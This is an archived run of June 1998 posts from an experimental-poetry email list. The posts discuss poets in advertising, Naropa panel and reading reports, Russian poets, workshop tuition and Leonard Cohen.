Anyway in the Ginsberg case, it truly reinforces my point: AG was useful because he had become that neutral colorless odorless substance that constitutes all mass culture under late capitalism: The Celebrity. Yeah i know, in reality and for most of us here he was still anything but colorless. But for the World of Marketing he was another undifferentiated "personality." The idea that he was a poet was equivalent to basketball star/rock singer/former presidential candidate, etc. An abstraction that it was assumed most of the buying public would be indifferent to, so long as he was known to be famous.

mark

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544. **Pritchett,Patrick**
Re: Poetry saved my life
Tue 16 Jun 1998

A report from that hipper-than-thou enclave and poetry nexus in Boulder:

Yesterday afternoon, in the Big Tent at Naropa, a panel was convened to expound on experimental poetry. Moderated by Anne Waldman, the panelists were: Eleni Sikelianos, Alice Notley, Wesley Tanner, Maureen Owen, Doug Oliver and Laird Hunt.

Less a busy exchange of views than a series of well-tempered reflections and mini- manifestoes, the panel was exceptionally lively, diverse and thought-provoking. Alice Notley began by reading her "Poetics of Disobedience," (posted to this space previously by Katy Lederer and available on the Notley author page at the EPC). Disobedience, for Notley, involves more than a rejection of doctrine and convention. It is both "the necessity of noncompliance with pressures [and] dictates," and, though she did not say so directly, the means to attaining a deeper form of obedience to the self, the self impoverished, or stripped bare, of mental clutter, outside agitations, and the pervasive and deleterious host of "shoulds" pressing in from all sides. Alice would chide me for saying so (since I'm about to bring up a comparison, which she's quite sick of, thank you), but I kept thinking throughout her reading of Nietzche's idea in _Gay Science_ that we must "obey, at length and in a single direction [so that] something worthwhile might result, something divine and transfiguring: poetry, madness, the dance..."

Laird Hunt gave us a stimulating disquisition on the idea of "lineage," weaving a renga-like chain of references between Kafka, Hamsun, Bernadette Mayer, Montaigne, Samuel Johnson, Borges and others. The stranger in the book can enter our lives at any point in the text. Read everything.

Maureen Owen followed by tracing the Western attitude toward knowledge through 19th Century empiricism to more radical modernist approaches. She exhorted the audience to dare to be open to form -- to reject the received and packaged forms of knowledge in order to make ourselves available to the new, the unknown, the unforeseen.

The celebrated printer Wesley Tanner spoke about the difficulty of making it new in a form that encourages conformity (i.e. the making of books) and gave what I thought were two of the best lines of the panel: "Poetry, I think, saved my life." And: "It's got to be about loving what you do."

Next, Doug Oliver led us on tour of what he called "ideological cliches," summarizing the various nodes of the postmodern attack on certainty and language. He talked about the interface between surface and depth as the place in language where both play and tragedy occur. And how the older generation of poets (his) are looking to the younger generation for inspiration. For Oliver, young American poets (presumably those in the new Jarnot/Schwartz/Stroffolino anthology) are not burdened by the anxieties of their predecessors. He made it sound, I thought, as though they were unburdened by any anxieties at all. Which I don't think is at all true, if that's what he meant. Poetry is incessantly engaged with the anxiety of form -- which seemed to me the theme sounded by all the panelists, in so many words.

Eleni Sikelianos closed the panel with a rousing and lyrical essay which had previously appeared in "Tripwire," and which explored the tensions between the eternal, conceived of as static repetition, and a sublime that was constantly recreating itself. "We must upset the atomic stability of language." And: "a poem is a suspension of legal terms." That is, it must defy definition, stricture. She enjoined her listeners not to use strange syntax for its own sake, "but through syntax to reveal the strange things that are beyond syntax."

Patrick Pritchett

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545. **Gwyn McVay**
Re: Poets in advertizing
Tue 16 Jun 1998

FWIW, Ginsberg donated his fees for appearing in the Gap khakis ad to the Milarepa Fund, which agitates for Tibet.

Gwyn, with crisped nose due to lack of sunscreen at yesterday's rally, where Richard Gere displayed amazing verbosity

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546. **Mark Prejsnar**
millionaire poets
Tue 16 Jun 1998

Patrick,

i see what you mean about what you call Jorie Grahamesque poets who can get some $....

But...but..i understand that to you what she can get in the way of grants and prizes, relatively nice teaching jobs, etc. may seem like quite a lot, and desireable....**to me too!!** it would be nice to have a few goodies..

But my structural analysis is really about the place of poetry-activities in the general culture and economy, and really (i would argue) it isn't weakened by the fact that a few mainstreamers have prestige and income that's way above most. They still have fame and money (insofar as the latter comes from their work) that are way down in the scale of finance and resources our society doles out...

More to the point is the fact that very few poets (no matter how tepid and conservative their work) ever achieve those exalted heights. It is very different from the specific place occupied by various genres of theater, film, fiction, music, viz art, where there are guiding myths of adulation and big bucks awaiting

the industrious... And the possiblity (tho even for them, not easy to achieve in today's economy) of scraping by till then..

Then, if i'm right about the specific material character of "the marginalization of poetry," this has interesting echoes in the way publishing formats, performance spaces, etc. get invented and mutated, and the way these become inseperable elements of the work itself..

mark

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547. **morpheal**

Re: Poets in advertizing

Tue 16 Jun 1998

> *With some exceptions. David Eggleton, a NZ poet known for his ranting performance style and capitalist-baiting (was it Ken Bolton who wrote of him that he's unlikely to have someone stand up in the middle of a performance and say "As a yuppie, I have to disagree"?), has just done a TV ad for Honda. "A poem is an object, a rough diamond ..."*

Despite equivalent efforts to those of other makes as to economics and quality, the Honda Motor Company has largely lost its battle for popularity in the North American market. Has that something to do with it ?

> *And then, Allen Ginsberg was similarly doing ads at the very end of his life, when enuff decades of notoriety had made him a "celebrity" in a sufficiently bankable way....*
>
> *But these are exceptions that prove the rule, i think..*

What about the argument that advertising / marketing has a greater right to use of language than poets have ? I have actually experienced that form of persuasion. So I know it happens. In fact also the argument that advertising / marketing of other products has precedence as to usage. That specific words, once identified with specific products are no longer as available for other uses as they were before a coporate take-over of language claimed specific words as corporate assets. In particular common words that serve as jingos, slogans, and trade-names, and have become commonly identified with a specific product.

Duz All of you understand that Tide of Cheer thinking ?

An example of the deter-gent of poetic usage.

M.

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548. **Mark Prejsnar**
Re: Poets in advertizing
Tue 16 Jun 1998

No sorry the list did not "hash out" what i was refering to at all.....

i am not talking about the hand-wringing that went on here regarding moral/political judgments.....

i was more interested in the cultural dynamic involved with reducing a specific person and his activities to the abstract cypher of celebrity-as-marketing-device-and-commodity;

i haven't much interest in what he did with the money, since unlike many who participated in the old thread you're refering to, it never disturbed me much that he was doing it! it was fascinating that he was doing it, but, no really, i feel there are larger and more interesting political fish to fry than ethico-political fretting over AG's advertizing career!!

m.

On Tue, 16 Jun 1998, Pritchett,Patrick @Silverplume wrote:

> *The List hashed this out last year, Mark. Allen donated the monies from those Gap ads to the Tibetan refugee cause.*
>
> *Patrick Pritchett*
> *----------*
> *From: Mark Prejsnar*
> *To:* [redacted]
> *Subject: Poets in advertizing*
> *Date: Tuesday, June 16, 1998 10:10AM*
>
> *And then, Allen Ginsberg was similarly doing ads at the very end of his life, when enuff decades of notoriety had made him a "celebrity" in a sufficiently bankable way....*

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549. **morpheal**
Re: voke
Tue 16 Jun 1998

> *..... why you keep voking the rushens! And why those rushens. Cos I don't know why I got to keep tryenta read em. I like Bowra's Pasternaks and any Mayakowsky gets me, an sometimes for heestyrical perspektif I lookit Gogol n Turgenev an Chekhioff! Butchoo know even if Andy Carroll had a bond wit em I don't get Joe Brodskaya's taste, you see what lines by that other bree-illyunt po-its he likes he likes? "The moon's a balloon" in June etc*

> *etc is I mean come on. There is a poem and there is a person telling which is which are you? If it is true what they say one one [he/she/e] one voke then could you voke and be done already? I don't see why I gotta feel the whippa this anymore, yer wheering it owt. Love, Uncle Vinnie*

Not the rushens.

It all began with the rush-Ins. (Pronunciation is everything in this game.)

That was quickly twisted around by the Christadelphians, into some kind of a money bejeezus radio series routine of poetic double entendres in between sudden virulent attacks of cult jamming.....

The Soviet Union fell into ruins in consequence of that.

Believe me.

It is true.

M.

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550. **Jordan Davis**
surge on
Tue 16 Jun 1998

---

wot henny writ:

way beyond Kleb & Kharm (tho I likes them A LOT) is the same thing I loves about Zhdanov it's the MUSIC man, it's the HEART-MUSIC, when you gots dis correlations of images & a story & a sly thing goin on meanwhile juss a simple tune playin with simple words alongs a line that what I love an it comes outa thirst an hunger man like you know all the NOT-POETRY world that you gotta walk da walk eventually gives you dis basic THIRST f'dat

UV writs bak:

Henny no no this idno time fo speshul pleedin! I meen ya like ta gifme ar-RHYTHmia! like ya sayin nobody got riddim in they heart but who. try it inna crow dad church see whatta time you broom. Iddest what lackariddim you talkin to, you see a lackariddim you hit em.

Henny writ on:

music an that is a simple ting that a lotta younga poets are onto but then a lotta younga poets are NOT onto because they in it all day long too much know what I'm sayin? So it gets mighty political rhetorical sophistiy-clever intullectchall ya know like throw in a big word here an a lil radical experience here an presto hey this is one cutting-edge poet

UV scretch:

O so the commawilt a Broosachusetts a junger poat now. So we all one big BA colony. Thassa good readah theyah. Now deskrive the ones you say you lerv agin. Whadda theyah do?

Hen surge on:

man an I say ey juss gimme that MUSIC man that develop an surge into high heaven like Tsvetaeva & Akmet & Mandel got that SURGE man maybe it eastern orthodox icon or somethin but it come across so thass one thing I like about it plus I juss LOVE the mystery games Akmet & Mandel play wid a line stole from here an meaning about 20 diffunt things without bein obvious

UV dribs:

AALLUUSSIIOONN! Dag. Dagnav. I new gone leave sumpin out. Hump a sump.

Henniston:

about it I dig that now if you wanna see whut I do wid all this stuff I love well you just hop on down to the new non (http://socrates.berkeley.edu/~moriarty) cause I got a few lil jingle examps there wheres I take some ver Merican material histeria wisteria an I puts it troo a Mandelstam octet like wid rhymes an all, see #1 I do there is like almost a direct steal whiles #3 come outa the film version of "Oblomov" an so on juss for an examp now theys a few more a these comin out in Talisman next but you will see how diffent they sounds fum all the other non people an mostly they sound like TV ad jingles done by Celan but anyways thass what it all about...

UV glares:

ah yeh thot so. Cain even tella pub lick tellavision shoe from an infomerchal no mo. OK dk I cashncarryd outcher square miles n they made sensimibilia shore as rushen kum quatrains but not so giant steps you get to teez yore company! Whassa point a been some PLACE iffu doan like th folks theyah? An I done look fr th Celanshow but I knowa it allareddy it one Ben Hollander done made that scene but GOOD. So if whatcha sayin is what it all about is this

thing that you don't like and want to influence to be different, now that you've been invoking Mandelstam and Akhmatova here on the list for at least two years, what changes have you seen? The comparison has been difficult for me to take. I automatically think "red-baiting." Is there something in the world analogous to Stalinism now? Does the poetry you disdain oppose it? Does it oppose it not only with what it says but how it says it? And most importantly, does it do anything? I hope I'm not giving you a way out of carrying on this conversation by offering you that last question. I know that Auden's verdict, that POETRY MAKES NOTHING HAPPEN, has been invoked on the list recently, but I also think that was what we may gently call an historical (impatient) remark. The

anthologies of poems on affairs of state, as well as the works of the Russians you admire, suggest otherwise.

Jordan

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551. **morpheal**
Re: poetry in Normal
Tue 16 Jun 1998

> *For the record, I found my first writing community in Normal, Illinois, in its pre-Dalkey Archive (and well pre-MA in creative writing at the state u.) days. It is not necessarily a reality for people who aren't living in "hip towns" to look to a university for a writing community.*
>
> *Carrie, I never said I thought it was "necessarily" a reality for people living in rural areas or in disenfranchised areas to look to the university for a writing community. All I'm saying is that they have done so in the past--and not necessarily without success.*

Little enclaves of academia, following the ancient tradition of far flung monasteries, in the hostile reaches of the empire, notwithstanding. Even if they do send occassional emissaries to the big sacred cities for audiences with the holy sees of poetics.....

Does anyone know of an episode, or chapter, within the famous sociological study of "Middletown, U.S.A.", that dealt with anything resembling Middletown poetics or, more broadly, Middletown art ?

I do not recall such an episode or chapter. Though I might have missed it because of its brevity.....

I wonder why that might be.

M.

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552. **Pritchett,Patrick**
Re: Poetry saved my life
Tue 16 Jun 1998

Alas, Gwyn! I had a headache (I'm taking Laura M's NON 3 for it) and took crappy notes and so I'm afraid I have little to offer you. But as I recall, he spoke less of figures in a personal lineage, and more of the idea of lineage as a kind of circulatory system in which the dead and the living are engaged in an endless conversation, thus complicating the idea of lineage. Mayer and Montaigne he juxtaposed in terms of their omnivorous reading habits and their activities as translators or interlocutors with writers like Seneca and Tacitus. Maybe he'll

publish this piece? It was very elegant, I thought. I'll try to ask him though I haven't met him yet.

Patrick P.

From: Gwyn McVay
To: [redacted]
Subject: Re: Poetry saved my life
Date: Tuesday, June 16, 1998 12:10PM

Patrick, wd. love to hear more re: Laird Hunt's concept of "lineage" & what such, if any, were identified among contemporary Americans. You mentioned Bernadette Mayer--others? Would you backchannel if this becomes too long or boring for general consumption?

bests, Gwyn

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553. **William Marsh**
Re: shapeshift normal poetry money
Tue 16 Jun 1998

At 02:08 AM 6/16/98 -0400, tom wrote:

it aint where you are its what you do
>and what level of awareness you can do it at...

thanks tom for setting it right in so few words
there's no biz like po biz

keep working all
bill

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

554. **Pritchett,Patrick**
Re: The Fabulous Berrigan Boyz
Tue 16 Jun 1998

The official Boulder summer reading season got under way last night at Penny Lane, where Anselm and Edmund Berrigan read to a SRO house. The MC was Tom Peters. Among the crowd: Alice Notley, Doug Oliver, Michael Heller, Jane Augustine, Anselm Hollo, Jane Dalrymple Hollo, Jack Collom, Rachel Levitsky,

Akilah Oliver, Laura Wright, Eleni Sikelianos, Laird Hunt, Michael Friedman, Sarah Bell, Maureen Owen, Steven Taylor, Michael Smoller and the ectoplasmic form of David Bromige, temporarily OOB, and his magic martini. A cool breeze did waft...

Anselm Berrigan read first. And I have to say at the outset - I'm shocked by how young these fellows are. Or by old I've gotten, to be more forlornly precise. Anselm's reading was carried forward on a wave of dynamic, tricky, smart alecky combinations: slangy wit mixed with surreal bon mots mixed with street smart pathos in a rapidily shifting tempo of rhythms. A sense of continual surprise and freshness.

* enraging the cosmos was easier than I ever imagined
* you can get a medal for running in circles that's intergrity for you
* you couldn't even talk about subject matter in San Francisco but it was nice
anyway to take part in a poetics of insinuation

His shorter pieces were followed by a completely hilarious play entitled: "Intermission: The Autobiography of Katy Lederer in Five Acts." Partly an account of a road trip by Anselm, Edmund and Katy, it features the plaintive cry of the heroine: "But I don't want to go to Iowa City!" (For another take on Iowa City, List folks are hereby directed to Alice Notley's "As Good As Anything," in her wonderful new _Mysteries of Small Houses_).

Edmund Berrigan read next. His is a more deliberate music. By turns playfully caustic and sharply, sparsely direct, these poems offered carefully modulated observations of the all-important minutae of relationships (and life in general) in a tone of elegant, dissonant tenderness. Who knew the colloquial could carry so much melancholy?

* for to take words solely is to miscontruct their origins
* there are some people coming out of tigers with carefully exploded pasts like babies
* Xnay on the firestarter
* the dinged dept. in you will agree with you
* when strangeness was a childish normalcy

At one point, the poet observed that the shakiness of his hands was attributable to his birth in a power generator - and boldly called on his mother to verify this. But the mother - wisely, methought - declined.

Patrick Pritchett

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555. **Gwyn McVay**
Re: Poetry saved my life
Tue 16 Jun 1998

Patrick, wd. love to hear more re: Laird Hunt's concept of "lineage" & what such, if any, were identified among contemporary Americans. You mentioned Bernadette Mayer--others? Would you backchannel if this becomes too long or boring for general consumption?

bests, Gwyn

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556. **Henry**
Re: surge on
Tue 16 Jun 1998

On Tue, 16 Jun 1998 12:17:12 -0400 Jordan Davis said:
>
>Henny no no this idno time fo speshul pleedin! I meen ya like ta gifme
>arRHYTHmia! like ya sayin nobody got riddim in they heart but who. try it
>inna crow dad church see whatta time you broom. Iddest what lackariddim
>you talkin to, you see a lackariddim you hit em.

Ey, Vin, maybe you dunno whut kinda rhythm I'm talkin about tho I did try
to describe it maybe you want listnen.
>
>O so the commawilt a Broosachusetts a junger poat now. So we all one big
>BA colony. Thassa good readah theyah. Now deskrive the ones you say you
>lerv agin. Whadda theyah do?

Ey, I said I was bored shitless by Merican poetry. Massachusetts is part
of the US. How can I be a good readuh if I'm bored outa my gourd?
Never claim I was a good readuh. You the one who ast me whut I like
about the Rushkies. I don't have to read all the shit that's out
there. I got my own gig goin. An you can complain all you wants to
but you can't milk a dry Hen. You likes some poets, you talks to the List
about it. I can't hep you there.
>UV dribs:
>
>AALLUUSSIIOONN! Dag. Dagnav. I new gone leave sumpin out. Hump a
sump.

I guess this is call Hen-baitin?
>
>UV glares:

>
>ah yeh thot so. Cain even tella pub lick tellavision shoe from an
>infomerchal no mo. OK dk I cashncarryd outcher square miles n they made
>sensimibilia shore as rushen kum quatrains but not so giant steps you get
>to teez yore company! Whassa point a been some PLACE iffu doan like th
>folks theyah? An I done look fr th Celanshow but I knowa it allareddy it
>one Ben Hollander done made that scene but GOOD. So if whatcha sayin is
>what it all about is this

I ain't teasin nobody I sed they wuz different from mine an I stan by that.

>
>thing that you don't like and want to influence to be different, now that
>you've been invoking Mandelstam and Akhmatova here on the list for at
>least two years, what changes have you seen? The comparison has been
aiting." Is there
>something in the world analogous to Stalinism now? Does the poetry you
>disdain oppose it? Does it oppose it not only with what it says but how it
>says it? And most importantly, does it do anything? I hope I'm not giving
>you a way out of carrying on this conversation by offering you that last
>question. I know that Auden's verdict, that POETRY MAKES NOTHING
HAPPEN,
>has been invoked on the list recently, but I also think that was what we
>may gently call an historical (impatient) remark. The anthologies of poems
>on affairs of state, as well as the works of the Russians you admire,
>suggest otherwise.
> >Jordan

You sayin I voke Mandelstam & Akme cause they was anti-commie or somethin? This kinda thinkin is a good essample of why I bored & fed up wid most American poetry. When the rebbolution comes Jordan you can be in charge of the cultural thought cops an you can voke the new amendment again any foreign influences or poets who ain't part of your P.V. (petty vanguard) - Henry the Red Hen

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557. **Brent Long**
Re: teachers
Tue 16 Jun 1998

For myself, I found Forrest Gander through a Web Page I wrote on Frank Stanford, and for a time he was very beneficial to me. I also have started a reading series in Providence, and people have indeed arrived. Our dear friend Henry

just gave me the name of a man named John Tagliabue, who sounds indeed like a man we could all learn from here in Providence.

At 12:58 PM 6/16/98 +0000, David wrote:
>Very surprised there aren't more younger folks out there who found their
>teachers for free as I did. Start up a literary magazine, or a reading
>series and teachers will appear. For me-- Nate Leslie, Si Perchik,
>Laurie Anderson, Paul Weinman, Alan Catlin, Len Roberts, Bob Grenier
>etcetera.
>
>As for anarchy, I have an essay called Survivalist Aesthetic in the new
>W'orc's Aloud/Allowed on how to make money as a writer with large
>caliber weapons, sharp instruments, and blunt objects that might
>interest some of you.
>
>Thanks for all the Toronto info. I still owe a few of you notes & am
>getting there.
>
>
>Be well
>
>David Baratier
>
>

↑ Index

558. **Jacques Debrot**
Re: Poetry, politics, context
Tue 16 Jun 1998

I was just recently reading a Kathy Acker interview in which she objects to a characterization of her work as marginal. She compares herself to the Language poets & says that the difference, politically, between her work & theirs is that she confronts people who don't support her work, that she comes into contact, for example, with the religious right -- that they actually know who she is & militate against her, & attempt to disrupt her readings, etc. By contrast, the marginality of poetry makes political claims extremely problematic, though I'm aware of many persuasive arguents to the contrary. It's interesting to see, however, how essentially "poetic" work in the visual arts -- David Bunn's recent collaged texts from library catalogue cards, Lawrence Weiner's stuff, Holzer, Kruger, some of Nauman's & Smithson's things, etc., etc. -- by situating themselves in the context of "art" -- almost entirely by that enunciative act alone -- seem to transcend the marginal status of poetry & enter into the world in a

more visible way than poems do. & this has to do not only (negatively) with the availability of the plastic arts for exploitation as commodities, but (positively) with the international character of the art world -- so ventures like Douglas Messerli's new mag seem a step in the right direction. Re: some comments Standard made today -- certainly craft & politics are not antithetical terms -- highly crafted & aestheticized work -- Mapplethorpe's for instance -- in the context of Helms attacks, can be explosively political, whereas, for instance, if they had merely a closeted or marginal audience, their politics might perhaps be questionable. Both craft & politics in any case have much wider connotations than we generally attribute to them.

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559. **Aviva Vogel**
What Price Iowa?
Tue 16 Jun 1998

> *relative low-cost (monetarily, at least) Iowa Workshop,*

What is this "relative low cost"? I'd always heard Iowa was pricey. What is the tuition?

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560. **s. kaipa**
Re: What Price Iowa?
Tue 16 Jun 1998

Iowa is a state school--meaning that it is usually cheaper to begin with. Then, most Iowa students gain automatic resident tuition if they have a teaching fellowship, etc (which is the majority of people). Resident tuition per year comes out to between 2500-3000/year. It might even be less than that.

Also, first year students often receive scholarships--sometimes hefty ones--that pay for both tuition and cost of living.

(But the "fiction" program is much more brutal. I've heard that some people get all funding and some get none. Poetry is more evenly divided.)

Summi

On Tue, 16 Jun 1998, Aviva Vogel wrote:

> *relative low-cost (monetarily, at least) Iowa Workshop,*
>
> *What is this "relative low cost"? I'd always heard Iowa was pricey. What is the tuition?*

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561. **daniel bouchard**

Re: surge on

Tue 16 Jun 1998

Jordan & Henry,

Have you two ever met? You should meet. We could set it up on neutral ground somewhere between Falmouth and Providence, at a bar on Route 6, and earn the respect and admiration and endearment of the locals as the poetry discussion gets hot.

Jordan, don't think I'm still perturbed by your once calling Auden a "crass fuck," but it does still bother me that this excerpt of his "POETRY MAKES NOTHING HAPPEN" is still waved around as proof that a) poetry makes nothing happen, b) poets often believe that poetry makes nothing happen, and c) Auden was a stuffed shirt who wagged his finger a lot in the face of his fellow-poets and said stuffy things like poetry makes nothing happen.

After that particular line, what follows follows:

"it survives
In the valley of its saying where executives
Would never want to tamper, it flows south
From ranches of isolation and busy griefs,
Raw towns that we believe and die in; it survives,
A way of happening, a mouth"

Placed where it belongs the remark seems less impatient.

Anger may make things happen, but it doesn't survive.

- daniel bouchard

Patrick Pritchett: keep the reading reports coming.

> *I know that Auden's verdict, that POETRY MAKES NOTHING HAPPEN, has been invoked on the list recently, but I also think that was what we may gently call an historical (impatient) remark.*

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]

fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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562. **Judy Roitman**
Re: Cohen
Tue 16 Jun 1998

> *As much as I enjoy Cohen's offerings as they are, it would be extremely interesting if he could untangle his tongue a little, and express some of the so obviously repressed creative materials a little more freely.*
>
> *In one interview, some years ago, he told the interviewer that he is made to agonize about each word he writes.*
>
> *I think, with many highly-influential albums, books of poems and prose poems, two novels and a Roshi, Laughing Lennie has been quite free with his expression. The air might be thin on Mt. Baldy, but the groundswell shows no sign of abating. And as for the agonising over words... he has been intentionally esoteric when playing the interview game, but so has Richard Wilbur ("someone looking down on me from above, as I sit at a card table in the sun staring at a white sheet of paper, could be forgiven for thinking I was in a state of severe catatonia"), and others in the Paris Review & Parnassus interviews. Some of us lay words down with a trowel, others, like Bunting & Cohen, use a chisel & blow powder from the stone before the next word is revealed.*
>
> *Anthony*
>
> *.....*
> *Anthony Lawrence*
> *PO Box 75*
> *Sandy Bay*
> *Tasmania 7006*

Thanks for your defense of LC.

He _is_ a roshi, yes? Or at least that's the rumor I heard, that he got transmission from Sasaki a few years ago.

Even if false, it's a nice rumor.

People Mag did a nice piece on him a couple or so years ago, lots of good stuff about Mt. B.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |

memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner, 1927-1996 ---------- Note new area code ----------
http://www.math.ukans.edu/~roitman/

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563. **Henry**
Re: surge on
Tue 16 Jun 1998

Jordan & I met in an unpublished Pessoa manuscript entitled "The Carrot Greens & the Mule Who Had Hay Fever". Guess which one was the mule? -Henry

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564. **Susan Wheeler**
Re: Poetry saved my life
Tue 16 Jun 1998

No, please tell all of us!

At 01:10 PM 6/16/98 -0400, you wrote:
>Patrick, wd. love to hear more re: Laird Hunt's concept of "lineage" & what
>such, if any, were identified among contemporary Americans. You mentioned
>Bernadette Mayer--others? Would you backchannel if this becomes too long or
>boring for general consumption?
>
>bests, Gwyn
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

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565. **Alaric Sumner**
review of The Unspeakable Rooms, Cleveland Ohio
Tue 16 Jun 1998

I have just received from Robert Thurmer, director of the Eleventh Cleveland Performance Art Festival a copy of the following review of The Unspeakable Rooms by Amy Bracken Sparks in The Plain Dealer, Friday May 22 1998:

"Those who left after [the featured performance] missed one of the most stunning performances the festival has ever presented. A stark, stripped-down, minimalist work, "The Unspeakable Rooms" is an interpretation of a performance text by sound poet Alaric Sumner, but it also could have been a year in the dark night of the soul or human Angst personified. "Performer Rory McDermott first made a video of himself in various positions and movements, which was rear-projected onto a screen, in front of which he mimicked his 'other', or played off him. The beautifully recorded audio track began with breathing, as all things do, working up to non-verbal sounds, echolalias of physical and psychic despair before launching into the poem itself, which was layered and doubled. "McDermott's performance was utterly committed and terrifying, beginning in fetal position and rising to full cathartic contortions. The poem was intense and emotional and often obscured by layered sounds or McDermott's vocalisations. From the hoots and hollers and long applause that followed, the work by the men from Devon, England was clearly the favourite. "The lesson here. The featured performance may not be the best."

The video is actually front projected.

Otherwise, I am fairly happy with this review!

We are seeking further venues to present this work. It is available in three versions: as a sit-down performance of either 30 minutes or an hour and as an installation with live performance lasting about three hours.

Performance Writing
Dartington College of Arts
Totnes
Devon TQ9 6EJ
http://www.dartington.ac.uk/prospectus/pw.html

Virtual publication: text of 'error studies and portraits' in issue #1 of Cartograffiti (ed. Taylor Brady)
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti/contents/poems .html

Cleveland Performance Art Festival
http://www.performance-art.org/weekone.html

Selected Physical Publications:
Aberrations of Mirrors Lenses Sight (RWC)
Waves on Porthmeor Beach (words worth)
Lurid Technology and the Hedonist Calculator (Lobby)
Rhythm to Intending (Spectacular Diseases)

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566. **Brent Long**
Re: Cohen
Tue 16 Jun 1998

Cohen is indeed a Roshi. has anyone here read his _Book of Mercy_? I found it to be the most difficult thing to get through of his thus far. I know it is an older book, but I recently was given a copy and had not even heard of it prior to this. Anyway, I found it to be extremely dry, which wasdisappointing after reading his poetry and some of his commentary in _Stranger Music_ .

Anyway...

At 02:10 PM 6/16/98 -0500, you wrote:
>>>As much as I enjoy Cohen's offerings as they are, it would be extremely
>>>interesting if he could untangle his tongue a little, and express some
>>>of the so obviously repressed creative materials a little more freely.
>>>
>>>In one interview, some years ago, he told the interviewer that he is
>>>made to agonize about each word he writes.
>>
>>I think, with many highly-influential albums, books of poems
>>and prose poems, two novels and a Roshi, Laughing Lennie has been
>>quite free with his expression. The air might be thin on Mt. Baldy,
>>but the groundswell shows no sign of abating. And as for the agonising
>>over words... he has been intentionally esoteric when playing
>>the interview game, but so has Richard Wilbur ("someone looking down
>>on me from above, as I sit at a card table in the sun staring
>>at a white sheet of paper, could be forgiven for thinking I was
>>in a state of severe catatonia"), and others in the Paris Review
>>& Parnassus interviews. Some of us lay words down with a trowel,
>>others, like Bunting & Cohen, use a chisel & blow powder
>>from the stone before the next word is revealed.
>>
>>Anthony
>>
>>

>>.....
>>Anthony Lawrence
>>PO Box 75
>>Sandy Bay
>>Tasmania 7006
>
>
>Thanks for your defense of LC.
>
>He _is_ a roshi, yes? Or at least that's the rumor I heard, that he got
>transmission from Sasaki a few years ago.
>
>Even if false, it's a nice rumor.
>
>People Mag did a nice piece on him a couple or so years ago, lots of good
>stuff about Mt. B.
>
>
>
>----------
>Judy Roitman | "Whoppers Whoppers Whoppers!
>Math, University of Kansas | memory fails
>Lawrence, KS 66045 | these are the days."
>[redacted] |
>fax: [redacted] | Larry Eigner,
1927-1996
>----------
>Note new area code
>----------
>http://www.math.ukans.edu/~roitman/
>----------
>
>
[redacted]

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567. **R. Gancie**
Oh Poet! Get a Job!
Tue 16 Jun 1998

"In perception and everyday experience, we are bound to and limited by our genetically determined ratiomorphous apparatus--in science we are relatively free. Kant failed to make this decisive distinction.

The scope and theory of knowledge extends no further than the objects of the senses.--Kant

Kant wrote his Critique in order to establish that the limits of the sense experience are the limits of all sound reasoning in the world.--Popper

His forms of intuition, categories of experience, and general principles of factual knowledge were supposed to apply to everyday experience and also to theoretical knowledge. But, faced with the most successful thoeries of modern physics, most of those principles turn out to be false. For the description of nature we do use Kant's allegedly "universally and necessarily valid" a priori principles. Elementary particles, atoms, molecules, neutron stars, black holes are quite different from all those mesocosmic objects we cope with in perception and everyday knowledge."---from On Supposed Circularities in an Empirically Oriented Epistemology by Gerhard Vollmer --- "In a way, sense-datum theorists invent the last link of their perceptual chain so that it will fit in with the causal-chain model they think they have inherited from natural science. What the theorists have not appreciated is that the last link in seeing is not something detectable(as are the events taking place in the sun, in space, on earth, and in the human eye). The last link of seeing is itself the detecting. Trying to treat seeing as something itself seeable is what leads to the account set out before that so that so offends our common sense."---from Perception and Discovery: An Introduction to Scientific Inquiry by Norwood Russell Hanson

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568. **dbkk**
Re: Good, there are no lions in the street
Tue 16 Jun 1998

> *Date: Mon, 15 Jun 1998 18:45:18 -0700*
> *From: michael corbin <[redacted]>*
> *Subject: Re: Good, there are no lions in the street*
>
> *I kinda read the mina harker letters*
> *pushing in this desire-language direction*

Michael,

"Desire" has become one of those prissy words I find problematic *these* days. When Jane Gallop visited SF State (maybe 10 years ago), she talked about how many feminist books at the time had mauve covers. Mauve, she said, was Frenchified pink. "Desire" seems to me to be Frenchified sex.

Remember last year talking to this fellow who had a book coming out and I asked him what the book was about and he said, snootily over his beer, "My book's about Desire." I kept pressing him, but that's all he'd say about it. When the book came out, it was, in part, as I had expected, knowing his previous oeuvre, about having sex with teenage hustlers. I'm not judgemental about that--but "Desire" certainly sounds better than kiddy porn.

Mina, I'd say *these* days, is about sex and appetite--Courtney Love's "I wanna be the girl with the biggest piece of cake." And of course a desperate search for self-validation. "Desire" isn't problematic enough.

For what it's worth.

Dodie

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569. **s. kaipa**
Ad campaigns and poets galore (who score)
Tue 16 Jun 1998

Wasn't it Lew Welch that came up with the ad:

Raid kills bugs dead.

?

Summi

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570. **joel lewis**
f.y.i.
Tue 16 Jun 1998

*** German ad withdrawn in row over Nazi slogan

Hundreds of German advertising billboards carrying a slogan associated with a Nazi death camp were being pasted over on Monday after an outcry from Jewish groups and the media. The phrase "Jedem das Seine" ("To each his own"), which hung over the entrance to Buchenwald death camp from 1937 to 1945, was featured in an ad campaign in Germany for Finnish telecommunications company Nokia. An official said neither Nokia nor Gramm was aware of the Nazi associations of the phrase, which stems from antiquity. Nokia would paste

over the offending billboards with its international slogan "Freedom of Expression." See http://www.infobeat.com/stories/cgi/story.cgi?id=2554637128-815

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571. **joel lewis**
"holy william burroughs, batman!" (f.y.i.)
Tue 16 Jun 1998

FEATURE-Homeless iguanas roam Los Angeles

